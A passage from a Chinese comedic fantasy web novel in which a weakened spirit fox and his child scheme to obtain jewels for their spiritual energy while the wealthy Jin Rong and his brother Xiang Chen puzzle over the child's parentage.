算了,他一点儿都不贪心,很容易满足的。 狐久迫不及待让小崽儿把他和平安扣一起送回了房间。 先把能吃到嘴的先吃了再说。 小狐狸盘腿坐在床上,爪子按在两个叠放在一起的平安扣上感受香喷喷的灵气。 小崽儿瞪大眼睛趴在床上看着,不敢打扰狐久却又好奇,于是小小声问:“小爸爸,宝宝可以修炼吗?” “先等小爸爸把身体养一养,再给宝宝试一试看能不能修炼,好不好?”狐久觉得小崽儿体质特殊,很可能就是一出生就是人形,变不成小狐狸导致的。 “好的呀,小爸爸,宝宝不急的,宝宝特别有耐心。”小崽儿乖乖点头,“小爸爸你多吃,吃的多多的,宝宝想你变成靳戎那么高大,那样就可以把宝宝包起来了。” “小爸爸一定会比他更高更大更好看的。” 狐久信心百倍,下一秒傻眼了。 没灵气了。 这也太少了吧。 狐久感受着因为有了灵气后变得有力量的身体,好吧,他一点儿都不满足,他想一口气把靳戎带回来的那一兜子宝石上的灵气都给吸收了。 狐久在小崽儿耳边嘀嘀咕咕几句,小崽儿点头:“好的,宝宝懂了。” 小崽儿拿着两块平安扣下楼,狐久蹦跳着跟在他身后。 他的身体又感受到这种轻盈了。 如果能健康,没有狐想病歪歪的,所以他一定要把靳戎的宝石全都骗过来。 靳戎正在厨房盯着厨师做饭。 昨天收到的奶粉里有二两菠菜,老管家觉得奶粉里有菠菜不正常,于是询问了一下靳戎。 靳戎之前瞧不起这二两菠菜,后来想到陈医生说的话还有那家店铺的“特殊宝宝”几个字,念头一转,便让人送去医院化验了一下。 果然,这菠菜比市面上百分之九十九的蔬菜都天然纯净。 这家店铺仿佛是为小崽儿量身打造的一样。 菠菜焯水,与在山间吃草籽长大的母鸡下的鸡蛋一起炒,只加一点点盐不需要别的调味料。 这是靳戎咨询商家后,店铺小二胡八道给他的菜谱。 鸡蛋相对而言会比较安全,所以昨天靳戎同样让医院那边检测了自己家里吃的山鸡蛋,鸡蛋没问题。 “靳戎。”小崽儿喊着靳戎的名字哒哒哒跑下来,被老管家一把抱住,“诶呦,小祖宗诶,小心摔着。” “谢谢管家爷爷,靳戎呢?我要找靳戎。” “我在这儿。”靳戎从厨房里走出来,先是看到了在小崽儿后面蹦跶的那抹白色小身影,自他把它从仙山带回来,它就一直恹恹的不怎么动弹,这还是第一次这么活泼。 靳戎脑海中闪过一个念头,它就应该这么活泼才对。 “靳戎,我和小爸爸觉得这个太贵重了。”小崽儿举着丝绒盒子,仰头看着靳戎,大眼睛眨巴眨巴,说的特别真诚,“我们不能收。” “太贵重?不能收?”靳戎挑眉,天上下红雨,这父子俩转性了? “对啊。”小崽儿点着小脑袋,背诵小爸爸的话,“我和小爸爸又不是贪图你钱财的人。” 我是贪图你钱财的人? 他第一次给胡硕买宝石的时候,胡硕玩完了就是这么跟他说的,下一句就是:“要不然你给我换个便宜点儿的吧。” “你给我和小爸爸换两个便宜一些的宝石吧。”小崽儿稚声稚气,“可以吗,靳戎?”小爸爸说这叫以退为进。 玩腻了。 跟他爸一样玩腻了。 父子俩除了脸长得一模一样以外,脾气性格也像。 长大了不会也是个小骗子吧? “不贵重。”靳戎蹲下身,拿起平安扣手绳给小崽儿系在手腕上。 玉是好玉,但跟胡硕的那一保险柜的珠宝玉石比起来,这几万块的平安扣实在是不算什么。 哈? 靳戎咋不按套路出牌啊? 小崽儿一呆,脑袋上一撮毛都僵住了。 靳戎应该说:“宝宝真乖。”然后给他换两件新的珠宝。 他再说:“靳戎你真好,你是宝宝见过的世界上最好最好的人,比小爸爸还好。” 这样靳戎就会心花怒放,然后把那一兜子珠宝都给他。 所以,他现在应该怎么说? 小崽儿委屈巴巴看向狐久。 狐久:“……” 他高估了这个男人的脑子,他把小崽儿的场面话当真了。 是他失策了。 父子俩齐齐宕机。 “咋办啊,小爸爸?”小崽儿抱起狐久小声问他,“靳戎咋不上当?” “别慌,崽儿。”狐久拍拍他的小脑袋,“小爸爸我还有中策。”狡狐三策,上策中策下策,他思考事情向来都是一策连着一策的。 世界名画《一家三口》再次上桌,靳戎端了一盘菠菜鸡蛋放到小崽儿面前:“尝尝这个。” “好香哦。”小崽儿深吸一口气,眼睛 bulingbuling闪着光,“小爸爸,是香的,这是香的诶。” 靳戎诧异:“你能闻得出来?” “臭的宝宝不能吃,香的宝宝能吃。”小崽儿从出生起就只喝过奶,此时一闻到香味口水控制不住地往下流,仿佛某一道开关在这一刻被打开。 狐久看着小崽儿吃下第一口人类的食物,觉得眼睛有些酸涩,小崽儿能好好的活着了,他以前多怕他因为不能吃东西会饿死啊。 靳戎这个男人还是有些用处的。 狐久给了靳戎一个赞许的眼神。 这个爸爸当得还不错,如果把那一兜子珠宝给狐奉上来就更好了。 小崽儿第一次吃人类的食物,有些贪食,但好在做的分量不多,即便全吃完也没有大碍。 吃完晚饭后,靳戎也没让小崽儿立刻上楼,而是时刻观察着他的反应,时不时问他有没有哪里不舒服。 狐久自然知道小崽儿吃完不会有问题,朝小崽儿使了个眼色。 小崽儿点头,还朝他比了个OK的手势,去吧,小爸爸,宝宝保证拖住靳戎。 靳戎靠在沙发上,余光将两小只的小动作尽收眼底。 他倒要看看这笨蛋父子到底要干什么。 狐久自觉天衣无缝,悄悄上了楼,开始实施他的中策。 那团灵气不在书房,而是在靳戎的卧室里。 白色的身影来到主卧门口,熟练地踮起后爪用手拧开门把手,闪进屋内。 狐久循着灵气找过去,袋子静静躺在靠近阳台的桌子上,上面萦绕着充盈的灵气。 狐久咽了咽唾沫,全是他的!!! 狐久将桌上的袋子扒拉到地毯上全都倒出来,一只手一只爪配合默契飞快将这些盒子都拆开。 红的绿的黄的紫的,珍珠玛瑙翡翠玉石,林林总总二十几样,耀眼夺目。 狐久再也忍不住,激动地扑了上去。 被灵气包裹的那一瞬,狐久像是掉进了云层。 舒服。 太舒服了。 他这副身体实在是虚弱太久了,此时此刻那些灵气像是灵丹妙药从四面八方灌入,热乎乎暖洋洋,整个身体都舒展了。 这跟他以前修炼的感觉不太一样,但身体很适应这种灵气进入的方式。 狐久本来想着偷拿一两样就走,等吸收完了再偷偷给他送回来,但现在面对这么多灵气,他实在是不舍得走。 一只手抚摸玛瑙,另一只手抚摸翡翠…… 等等。 他怎么会有两只手? 嗯? 狐久恍惚低头,看到了属于人类的洁白的胸……膛。 ??? 他猛地坐起来,又看到了两条笔直修长又光滑的双腿,还有中间一坨……大宝贝。 他,化形了? 不可能啊。 化形至少也需百年修为,他现如今一点修为都没有,怎么可能化形? 但自己此时此刻确实有胳膊有腿……狐久又抬手摸了摸脸,有鼻子有眼…… 这怎么回事儿? 化形对于灵狐来说是一件很难的事情,狐大仙说他第一次从狐狸便成人时身体痛了好几天,还因为不会走路在地上阴暗爬行好几天。 他现在也太丝滑了吧? 不痛不痒的。 狐久站起来走了两步,诶,走挺好。 扭扭身子动动脚拍拍宝贝,狐久纵享丝滑,人形大成功。 狐久忍不住掐腰挺胸,他,狐久,仙山最伟大的狐狸。 没有之一。 他也太厉害了吧。 他终于明白了人类经常说的那句“无敌是多么的寂寞”是什么意思了。 他现在就是这种情况。 狐久,你无敌了。 11.第 11 章 第11章 狐久实在是太兴奋了。 他盼人形盼了一百多年,就这么突然拥有了,怎么能不激动? 他蹦上靳戎的床。 旋转跳跃我闭着眼…… …… 靳戎坐在沙发上接了两个电话,一个是任骁的,一个是项琛的。 任骁约他晚上出去喝酒,靳戎拒绝了。 喝酒哪有狗好玩。 项琛约他一起回家吃饭,靳戎说改天。 他这两天要玩狗。 放下手机,靳戎瞥了一眼那看动画片看的心不在焉的小崽儿,孩子还是小,脸上藏不住事,时不时就往楼上看,显然某只狗搞事情去了。 靳戎对此很期待,毕竟他想不出一只狗能搞出什么事情来。 天花板上传来些声响,靳戎起身。 “靳戎,你干嘛去,陪宝宝看动画片。”小崽儿很警觉,小手立刻拽住靳戎的衣服,然后就靳戎弯腰抱了起来。 哈? 崽儿挣扎,崽儿力气小,崽儿挣不开。 被禁锢的崽儿没办法,只能扯开嗓子喊:“小爸爸,你在哪儿?” “你是藏起来了吗?那宝宝和靳戎来找你了哦。” “靳戎,你走慢一点,宝宝害怕。” 此地无银三百两具象化了。 卧室内正在癫狂的狐久听到了小崽儿的声音,他想躲起来,但他蹦起来落下,蹦起来落下,感觉身体的能量正在消散…… “诶……诶……” 眼前的事物在起落间迅速变大,身体不受控制地往前扑去,眼瞅着就要拍在房门上了,狐久惊出一身冷汗,关键时刻门被推开了。 咻…… 一团白影从天而降,靳戎下意识伸手,热乎乎的毛绒就这么落在了靳戎的掌心。 崽儿和狐再次在靳戎怀里团聚。 狐久头晕目眩,靠,怎么回事儿 他那么大一个人呢? “小爸爸?”小崽儿瞪大眼睛,小爸爸是从上面掉下来的诶,“小爸爸,你会飞了吗?”小爸爸可真能啊,宝宝想学。 他不是会飞,他是要废了。 狐久趴在靳戎手里,看着自己熟悉的爪子,感受着自己熟悉的小小的虚弱的身体,欲哭无泪。 他的人形短暂的来过后,又离开了。 他甚至都没来得及看看自己那张脸长什么模样。 呜。 狐久颤巍巍伸出无力的爪子抱住靳戎的手指,给狐宝石。 虽然他还没想明白他的身体到底是怎么一回事儿,但要宝石就对了。 “你以为撒娇有用吗?”靳戎看着屋内的一片狼藉,气笑了。 他向来整洁的床铺此时乱成一团,而地上,他带回来的那些珠宝也散落一地,整个屋子像是被洗劫了一样。 一只巴掌大的狗,走路都费劲,到底是怎么做到的? 靳戎转头朝楼下喊了一声,让老管家上来收拾房间。 小崽儿眼珠子一转:“我来收拾,靳戎,宝宝帮你收拾房间。” 小崽儿从靳戎怀里挣扎着往下滑,这次靳戎把他放了下,小崽儿一溜烟就跑了。 靳戎没管小崽儿做什么去了,他现在要惩罚这只胆大包天胡作非为的小爸爸。 “喜欢是吗?”靳戎小心绕过地上那些珠宝,将狐久放到了桌上,“给你个惊喜。” 什么惊喜? 狐久抬头,这男人不止没生气,还好给他惊喜? 靳戎从没被狐久嚯嚯过的另一个袋子里拿出了一件芭比粉的小衣服。 给崽儿买的新衣服? 这颜色也太丑了吧。 狐久嫌弃。 靳戎拿着小衣服抖了两下:“好看吗?” 粉色的蓬蓬裙上面被镶嵌了几十颗珍珠,这是他在宠物用品店待了一个多小时让店员一颗一颗缝上去的。 我靠。 狐久瞪大眼。 这是什么丑东西? 这么小是给崽儿套脑袋上的吗?崽儿看见怕不是要自闭。 “来。”靳戎抓过狐久,抬起他的爪子,开始给他往身上套裙子。 !!!! 我靠,我靠!!! 这是给他的??? 这个男人要羞辱他。 狐久想动,却实在没力气,刚刚的人形已经给他耗没了,只能任人宰割。 靳戎垂着眼给他套裙子:“穿的这么漂亮就要优雅一些,不许拆家。” 漂亮你大爷。 变态啊。 这个死变态。 这个男人在羞辱仙山最厉害的狐。 屈辱,实在是太屈辱了。 士可杀不可辱。 狐久深吸一口气,蓄力扬爪。 他今天拼了这条命也要挠死他。 “你乖乖听话,我改天还给你买你喜欢的珠宝。”靳戎捏住了某狐的七寸,还撩起眼皮睨了某狐一眼,眼中带着戏谑。 嗯? 狐久动作一顿。 看到狐久错愕又纠结的模样,靳戎喉间溢出愉悦地笑声,这只狗果然通人性,好玩的很。 狐久正在天人交战,痛苦地思考要不要抛弃他灵狐的尊严而愉悦这个变态精神病男时,他的救星拖着他的竹编篮子回来了。 “靳戎,宝宝帮你收拾房间。”小崽儿走过来,在靳戎的注视下,问他,“靳戎,这地上的垃圾你不要了吧?不要宝宝就捡走了哦。” 说完,小崽儿也不等靳戎回答,就蹲下身子开始捡,红的蓝的黄的绿的,快捡快捡快捡…… 小崽儿两只小手倒腾地飞快,不止捡走了地上的“垃圾”,还顺手把桌上裙子穿到一半的小爸爸一起捡进了篮子里。 “哎呀,好大一篮垃圾呀,宝宝实在是太棒了,宝宝这就把垃圾从靳戎的房间里扔出去。” 靳戎就坐在那里看着小崽儿拽着绳拖着他捡的垃圾从自己眼皮子底下离开了。 好一会儿后,靳戎再次忍不住笑出声。 很好。 每天面对这父子俩,生活不会无聊的。 …… 狐久快要亲死小崽儿了,他的崽儿实在是太聪明了,不止拯救他于水火,还把那些珠宝光明正大全都拿了回来。 实在是太棒了!!! 气死那个精神病男。 崽崽掐腰,拍着小胸脯:“放心吧,小爸爸,宝宝保护你。” 狐久这次学乖了,没敢直接扑到那堆珠宝上,而是只拿了一件过来搂着。 他没办法控制人形应该是因为自己太虚弱了,所以要先固根基再化人形,不能操之过急。 所以哪怕狐久再喜欢做人的感觉,也只能暂且忍耐。 狐久接连两天没有出房间,把自己与宝石关在一起,一边修炼一边试图找出自己变身的关窍。 小崽儿每到饭点便用篮子拖着饭去投喂他的小爸爸,所以哪怕靳戎每天到点回家,也不怎么能见到那对笨蛋父子。 没事儿,宝石玩腻了就会出现的。 跟胡硕一个德性。 靳戎便回了趟家,吃饭顺便拿户口本,小崽儿上户口需要。 “呦,我那繁忙的总经理弟弟回来了。”项琛靠在沙发上看着靳戎,他弟每天下班到点就走,但却不回家,所以他去哪儿了? 这种情况只存在于大半年前他弟谈恋爱的时候。 “你很闲?”靳戎脱了外套递给管家。 “还行吧。”项琛微笑,“毕竟你哥我现在需要备孕,医院还专门给我弄了个专门检测蔬菜的实验室,你说神奇不神奇?” “对啊,怎么想起搞什么专项实验室了?”从楼上走下来的靳川林接过话,“公司最近有这方面的项目吗?” 靳戎建实验室的事情全医院都已经知道了,爸妈还有项琛自然也听到了些风声,对于传言中的项琛需要备孕这件事情觉得有些荒谬,他们更倾向于靳戎又要投资什么项目。 项毓文也看着他。 靳戎在妈妈身边坐下,开口道:“我那天看到一篇关于男人精.子形态问题的研究报告。” 靳戎双腿交叠,老神在在地看着项琛。 项琛觉得后背泛起一股凉意,看他干嘛? 他又没问题。 靳戎继续:“研究报告上说现代社会男人的精.子质量相较于过去下降显著,显著,听听这个用词,都显著了,跟低劣也没什么区别了, 所以为了咱们家下一代的健康,我哥从现在开始就得改变不良生活习惯,让孩子赢在精.子质量的起跑线上。” 项琛惊了。 这波冲他来的? 他怎么得罪他了? “你弟……说的对啊。”项毓文和靳川林对视一眼,同时看向项琛 ,指着他,“从今天开始,你不能熬夜,每天晚上十点必须上床睡觉,少油少盐低脂低糖,还有你弟给你弄得那个纯天然蔬菜,必须全吃了。” “……”项琛笑了。 纯天然蔬菜? 不天然的蔬菜他都一个菜叶子没见着。 所以,菜呢? * “菜?”梁医生端着威士忌晃着,“每天都送啊,三个研究员每天的工作就是检验这些瓜果蔬菜,非常严格,检测完后就封箱送走,旁人不得触碰。” “送去哪儿?” “不是送给你备孕吗?” “……”项琛摸着下巴,若有所思,“你说我弟不会是又喜欢上了女人,打算暗戳戳生个孩子出来惊艳所有人吧,这也不像我弟的作风啊,而且同性恋这么容易掰直?” “他也可能只是找个女人给他生孩子呢,毕竟只要他想,一堆女人想要给他生。” 项琛摆手:“我弟是不会干这种龌龊事儿的,我也不会,我俩正人君子来着。” “……”梁医生突然灵光一闪,“诶,会不会是那个长得跟胡硕一模一样的小孩儿?” “什么小孩儿?” “我以为我看错了,就那天……”梁医生把在医院碰到靳戎的事情说给项琛听,“第二天,靳总就成立了这个实验室。” 项琛也想起了那天给靳戎打视频时听到的小孩儿声音。 跟胡硕长得一样? 什么情况? 去看看就知道了。 他弟一般不搞事情,一搞就搞个大的。 比如大半年前突然毫无征兆地说自己是个同性恋,还谈恋爱了,给老靳惊得拿糯米往他身上撒。 夫妻俩当天就去别墅看人,看完后感慨了一句,长这么好看,猪来了都得弯,也不怪他家儿子被掰成三折叠,这是命中注定的劫啊,然后家里唯一同性恋的坑就这么被占了。 这次又搞什么? 第二天,项琛直接开车去了他弟给胡硕买的那套郊区的别墅。 这别墅跟家里的庄园比起来实在是太小,站在门口就能将院子一眼看完。 一个穿着背带裤的小孩儿拽着个篮子正在跑,后面跟着个穿着工作服应该是育儿师的女人,正笑着夸:“宝宝跑的真棒。” 三四岁的小孩儿,白白嫩嫩的小脸漂亮的……跟胡硕一样。 项琛惊呆了。 大脑有些宕机。 竟然真有个跟胡硕长得一样的小孩儿在这儿。 “你是谁啊,为什么站在我家门口?”小崽儿发现了项琛,走到门前,仰着小脑袋看着他。 “我是靳戎的哥哥,你是谁啊?” “哥哥?”小崽儿歪头,“爸爸的哥哥叫什么?爸爸的哥哥叫伯伯……伯伯的意思是大爷,大爷好,我是胡硕与靳戎分手后背着他生下来的崽儿,现在由靳戎养我。” 一句话给大爷CPU干烧了。 老管家走出来,项琛不敢置信地指着小崽儿:“这是……我弟的儿子?”这特么明明就是胡硕的儿子好不好? “是的。”老管家平静点头,“长得不像靳总吗?这长得跟靳总一模一样啊。” 项琛:“……”他眼瞎吗? 老管家打开门让项琛进来,小崽儿自来熟地牵起他的手:“宝宝领大爷走,大爷小心脚下的路哦。” 猝不及防荣升大爷的项琛:“……” 别这么喊,他害怕。 就这么一个小别墅,里面有七八个人伺候这一个小崽儿,老管家对待他的态度明显是当小少爷的。 项琛的CPU持续高温。 别急,等他捋一捋。 已知他弟被胡硕渣了,结果他弟替胡硕养孩子。 逻辑有漏洞,他弟平时精明地跟什么似的,怎么可能由着绿帽子明晃晃长在自己脑袋上。 不丢人吗? 男人最重要的就是脸面了。 他弟穿西装都不允许身上有褶子的人怎么可能给别人养孩子。 排除一切不可能剩下的再不可能也是真相。 项琛一拍大腿,那就是这个长得跟胡硕一样的孩子是他弟亲生的。 至于从哪儿生的,谁生的,为什么跟胡硕长一个模样…… 先做个亲子鉴定就知道了。 “来,崽儿,到大爷这里来。”项琛朝小崽儿笑眯眯招手。 12.第 12 章 第12章 老管家给靳戎打了个电话告知项琛的到来。 靳戎嫌弃的说不用管他。 好的。 不用管他的意思就是随便他做什么。 老板兄弟俩面上看着水火不容,实则兄不友弟不恭。 这不是病句,这是事实陈述。 小崽儿靠在项琛腿边,好奇地打量着他,项琛也看着小崽儿,越看越觉得自己的想法是对的。 “诶,你有没觉得他长得挺像我的?”项琛问老管家。 老管家眼珠子Duang…… 兄弟果然是兄弟,脑回路都一样。 “像。”老管家睁着眼说瞎话的本事已经炉火纯青,“那双眼睛跟你……诶,还真挺像的。”老管家蹲下身仔细打量着这一大一小,你说稀奇不稀奇,这两双眼睛还真挺像的。 只是一个天真懵懂,另一个……不天真,不懵懂。 小崽儿长得跟胡硕非常像,但唯独眼睛有点儿区别。 胡硕那是双狐狸眼,眼型狭长,上下眼距窄,眼尾上翘,而小崽儿则是一双桃花眼,眼睛要比胡硕的眼睛大一些圆一些,像一朵桃花花瓣。 不像胡硕的那双眼睛像项琛…… 老管家有点儿晕,老板养孩子养这么起劲,合着一点边儿也不沾啊。 “宝宝眼睛大。”小崽儿立刻睁大眼睛瞪着项琛,“比大爷的眼睛大。” “大大大,你的最大。”项琛嘴快笑歪了,“崽儿,能不能给大爷几根你的头发?” “头发?”小崽儿摸摸脑袋,然后迅速后退,捂着脑袋晃,“不行。” 小爸爸说了,身体发肤受之父母,不可轻易折损,除非…… “宝宝把头发送给大爷,大爷你要送宝宝什么?”小崽儿小脸上全是被狐久的知识熏陶过的睿智,“我们可以交换礼物的哦。” 交换? 也行。 项琛开始往身上摸,但他一个大老爷们,身上能有啥? “宝宝喜欢珠宝的哦。”小崽儿提醒。 珠宝? 除了他弟,谁出门随身带珠宝? “宝宝不急的哦。” 你可以开车出去买的呀。 大爷急。 大爷现在就想得到。 项琛从衣领处拽出一块翡翠玉佛吊坠。 这吊坠是顶级玻璃种帝王绿,是他出生的时候老靳送给他的出生礼物,那时候的老靳不知道自己还会有第二个孩子,所以买的时候奔着最好最贵去的,当时这块翡翠玉佛的拍卖价是三千多万。 所以等到靳戎出生,老靳想平等对待两个孩子时却怎么也找不到一样价格一样品相的帝王绿了,于是靳戎得到了一块同样三千多万但足足巴掌那么大的一个吊坠。 价格配平,别的……你别管,反正父爱是一样的。 那吊坠他弟从来不戴,怕得颈椎病。 项琛有些舍不得自己这吊坠,毕竟他这块不得颈椎病,还能时不时出去装个逼。 “哇哦,好绿,好好看。”小崽儿凑过来偎进项琛怀里,软乎乎问,“大爷,你这是啥呀,宝宝好喜欢。” “大哥,你这是啥呀,好绿啊,要不然我跟你回去好好看看?” 以前胡硕就瞧上了这吊坠,非要跟着他回家“观摩”一下,他弟当时的脸色就跟这帝王绿似的。 特别好看。 项琛咬咬牙摘下吊坠递给了小崽儿:“大爷送你的见面礼。” “不是送的,是交换。”小崽儿美滋滋接过吊坠,然后把脑袋伸到项琛面前,“送你,大爷。” 项琛:“……” 伯伯其实是一个很好听的称呼。 * 狐久从打坐中清醒过来,随手将那些珠宝踢到一旁。 已经成了垃圾了。 靳戎买的这些珠宝都质量一般,胜在数量多,但这么一堆也就堪堪比得上保险柜里的一件而已。 你看不过才两天时间,这些珠宝就成垃圾了。 狐久伸展了一下身体,跳到洗手间去照了照镜子,镜子里的小狐狸似乎大了一些些。 他这两天仔细研究了一下,发现自己要想要变成人形似乎并不难,是自己现如今的身体承受不了变形耗费的能量,所以不能轻举妄动。 狐久舔了一下唇,视线落在一旁的那件镶着珍珠的粉色蓬蓬裙上。 他今天晚上要不要穿上这件裙子去给那个变态跳个舞? 狐爪恨恨砸墙,他怎么能这么没有尊严呢。 狐没有尊严还怎么有脸活在这个世上? 但…… 话又说回来了。 狐久扬起头。 脸也不能当饭吃是吧。 能屈能伸才是睿智狐。 就在这时,狐久闻到了一股从未闻到过的香味,那是来自上等灵气的味道。 哪里来的? 那个精神病男良心发现搞到新东西了? 狐久跳下洗手台循着香味撒爪狂奔。 房门被打开,小崽儿拖着他的篮子进来了:“小爸爸……” “这儿呢。”狐久一个急刹,停在小崽儿面前,狭长的狐狸眼泛着光。 “小爸爸,快看,这个有没有灵气?”小崽儿抓着红绳拽着玉佛在狐久面前晃。 狐久眼神痴迷地看着。 这是什么顶级美味? 这比保险柜里绝大部分的宝石质量都要好。 “哪儿来的?”狐久晕乎乎问。 “跟大爷换的。” 大爷? “什么大爷?” “宝宝的大爷呀。” “你大爷?” “对啊,我大爷。” “你哪儿来的大爷?” “爸爸的哥哥就是大爷呀。”小崽儿歪头,小脸上全是得意,“这是宝宝拿头发跟他换的,小爸爸,宝宝是不是很聪明?” 何止是聪明,他崽儿简直要逆天啊。 狐久抱着小崽儿一顿亲。 靳戎的哥哥? 随手就能送这么牛逼的玉佛,肯定很有钱。 “长得好看吗?”狐久问小崽儿。 “管家爷爷说宝宝长得跟他很像呢。” 那就是还行了。 这么有钱,长相上次一点也没关系。 等有机会他见见,只要出手比靳戎那个喜欢给狐穿裙子的精神病男大方,他就选他当供养人得了。 “崽儿,小爸爸以后要是去跟大爷住,你跟我还是跟靳戎。” “当然是跟小爸爸了。”小崽儿忙抱住狐久,“宝宝要永远跟小爸爸在一起,大爷跟靳戎一样都好骗,宝宝骗谁都行。” 行。 没白养。 大爷是个好大爷啊。 狐久抱着玉佛忍不住大笑,吸收完玉佛上面的灵气,他应该就能再变一次人形了吧。 然后用人形去勾引小崽儿的大爷,再再然后他就会像某狐前辈一样拥有一保险柜的珠宝了吧。 狐久顿时充满力气,拍拍小崽儿的脑袋:“崽儿,小爸爸要修炼了。” “好的, 那宝宝去跟隔壁那个小孩儿玩。” “好,去吧,被欺负就喊小爸爸。” “没事儿,他怎么可能打得过宝宝。”他可是仙山最厉害的小狐狸,生出来就是人呢。 * 靳戎到点下班回家,刚打开车门下车,老管家就过来了。 “项总已经走了。” “走就走吧,省下一顿饭。” “项总拿走了宝宝三根头发,还用棉签刮了他的口腔,剪了他的手指甲……” 靳戎皱眉:“做什么?” “亲子鉴定吧。”老管家说,“我猜的。”生怕一样不管用,恨不得把小崽儿抱去做。 有毛病。 “小崽儿怎么可能是我儿子。”靳戎嫌弃地皱起眉,“他是脑子不好使还是眼睛不好使?” 老管家震惊脸,老板竟然知道这显而易见的事实。 “但又有什么问题呢。”靳戎嗤笑,“这世上又有多少男人的孩子是亲生的?” 多他一个不多,同样少他一个也不少。 都是养孩子,养谁的不是养。 老管家闭上张大的嘴巴。 但凡人类有这个精神状态,怎么可能断子绝孙,大家都会子子孙孙无穷尽也的。 靳戎进到院里,就看到小崽儿站在墙边跟隔壁院里的小孩儿在吵架。 “你就是土包子,乡巴佬。” “我不是。” “你就是,你只有个破篮子,我有电话手表你有吗?” “我没有。” “我有iPad你有吗?” 啥叫艾派? “我没有。” “我有switch和ps5,你有吗?” “我没有呀。” “你还说你不是土包子,你有啥?” 靳戎不悦地看向老管家。 老管家立刻道:“买,马上买。”主要是小崽儿没开口要,他没想到。 他有啥? 小崽儿眨着眼想了想:“我有小爸爸,你有吗?” “谁没有爸爸?”隔壁小孩儿嘲讽。 哦,大家都有爸爸。 小崽儿歪头:“我有大爷你有吗?” “大爷?” “对,大爷啊。”小崽儿终于找到隔壁小孩儿没有的东西了,声音扬起来,“我大爷可厉害了,你有吗?” “大爷有什么厉害的?” “你别管我大爷怎么厉害,你有大爷吗?”小崽儿掐腰,扬眉吐气,“你没有大爷,你就是输了,你没有大爷,你才是乡巴佬土包子,哼。” “……呜哇……”隔壁小孩儿馋大爷馋哭了…… 靳戎眼前一黑又一黑:“以后别让他大爷进门。”大爷是什么好东西吗?还比上了。 * 不是什么好东西的大爷拿着一包东西进了医院。 “亲子鉴定。”大爷把东西往桌上一拍,“这是孩子的样本,你们这里有我弟的血液样本吧,就做他俩的。” 鉴定人员震惊:“靳总……的亲子鉴定?”靳总不是同性恋吗?项总不是在备孕吗? 难道八卦传错了? 到底谁同性恋谁备孕? 这对吃瓜群众而言是很重要的。 “对,靳总的血液样本和这份样本做亲子鉴定,但是……”大爷趴在那儿,嘴角勾着,修长的手指在桌上敲着,反复强调,“一定要记住,亲子鉴定上要写我项琛的名字。” 这要真是他弟的孩子,那……他就笑纳了哦。 先到先得嘛。 13.第 13 章 第13章 “靳戎,你有大爷吗?”小崽儿看到靳戎,热情地问。 “……我没有大爷。”靳戎面无表情。 “耶。”小崽儿欢呼,“宝宝有大爷,宝宝赢了。” “项琛做了什么?”靳戎有些吃味,怎么来一趟就给小崽儿哄成这样了? 老管家笑:“项总把他那条宝贝翡翠玉佛跟宝宝的头发当交换礼物了,咱家宝宝可不傻呢。”再来几次,说不定会被宝宝骗的底裤都没了。 是吗? 一个两个都被那条破吊坠迷得不成样子,还不傻? 靳戎上楼,推开小崽儿房间的门,果然那吊坠就在某位小爸爸脖子上挂着呢。 玻璃种帝王绿,被白如雪的毛发一衬,简直绿的发光。 狐久正对着那条吊坠傻乐,听到开门声,笑着抬头,就对上了变态男的脸。 笑容紧急收回,狐久身上的毛瞬间炸了起来,像是身体本能一样用爪子捂着吊坠往后退。 诶,他堂堂仙山灵狐,这么怕他做什么? ……他只是不想穿裙子给这个变态男跳舞而已。 是,就是这样的。 靳戎看着这只全身都警惕的小东西,眼睛慢慢眯起来。 胡硕也喜欢项琛的这条吊坠,当初看到的第一眼,眼珠子就黏在上边下不来了。 项琛说这是老靳送的出生礼物,不能送给胡硕,但可以摘下来给他摸一摸。 胡硕便说他能不能跟他回家多摸两天。 那天靳戎生了大气,胡硕为了哄他,一直不肯让他真正触碰的地方彻底打开,那天也是他们交往以来唯一一次。 明明那么生涩,那么懵懂,那么单纯……还让他轻一点,说他是第一次。 明明连孩子都有了。 都是装的。 为了钱财不择手段。 现如今连他的狗也一样。 “给我。”靳戎朝狐久伸手。 不给。 狐久往后缩。 这是他崽儿凭实力骗……交换来的,凭什么给他? “我给你买新的。”靳戎又说。 才不要呢。 那一堆也比不上这一条。 狐久叼着吊坠一跃跳上书柜,有本事就来逮他啊,他这几天身体养的棒棒的呢。 为了项琛的吊坠,走路都走不稳的狗直接起飞了。 好。 很好。 当时他把自己那个巴掌大的吊坠给胡硕的时候,换来一句“这个不如你大哥那个,勉勉强强吧”。 现在要是把那个给这只狗,这狗怕是连看一眼都懒得看吧。 靳戎转身离开。 ? 就这么走了? 狐久一愣。 再看脖子上的吊坠时,脑海里蹦出一个想法,不要就是了…… 疯了吧。 狐久忙摇头,他又没病。 吸了这个吊坠,他就能站起来了,凭什么不要。 靳戎离开卧室,在楼梯口出碰到拖着篮子爬上来的崽儿。 “嗨呀,靳戎,好巧。”小崽儿爬楼梯爬的吭哧吭哧,小脸红扑扑的。 靳戎往他身后用来“捡垃圾”的篮子里瞥了一眼,里面放了不少东西,两个小玩偶,一把小水枪,一柄小宝剑,还有一个熟悉的手机。 手机是刚上市时薛秘书找人从国外带回来的情侣款,他一台,胡硕一台,胡硕的是天青色的,他的是黑色的。 手机壳还是半年前胡硕离开时的那个花里花哨的贴满钻石的手机壳。 钻石都是真的,这是他给胡硕特别定制的,光这个手机壳就几十万。 “你和你爸爸是通过手机联系的吗?”靳戎拦住小崽儿。 “哈?”小崽儿一脸懵懂,“我小爸爸在屋里啊,不用手机呀。” “我说胡硕。”胡硕把手机给了小崽儿,肯定就是为了方便联系。 “胡硕爸爸呀,唉。”小崽儿掐着腰长长叹了口气,小脸上全是无奈,“靳戎,宝宝说过多少遍了,胡硕在生宝宝的时候大出血死了呀,你咋就是听不明白呢?”小崽儿没见过胡硕,他生出来后生命里就只有小爸爸,所以胡硕大出血死了这件事情他只是在机械的重复背诵,并不知道到底发生了什么,也不明白靳戎为什么总问他胡硕在哪儿。 “你很想见胡硕吗?”小崽儿眨巴着大眼睛看着他,“宝宝也没见过胡硕,不,宝宝在手机的照片上见过胡硕,靳戎,你要看吗?“ 他不看。 他自己的手机里有很多,都是胡硕自拍的。 他懒得看。 他为什么要看? 靳戎迈步下楼。 小崽儿看着他高大的背影,小脑袋上全是大大的问号,靳戎好奇怪哦。 “小爸爸,宝宝吵架回来了哦。”小崽儿转头就把奇怪的靳戎抛在脑后,去跟小爸爸炫耀他的战绩,“宝宝赢了呢。” 老管家看到靳戎板着一张脸下楼,小心翼翼迎上来问:“怎么了?”崽儿惹生气了? 也可能是被狗惹生气了。 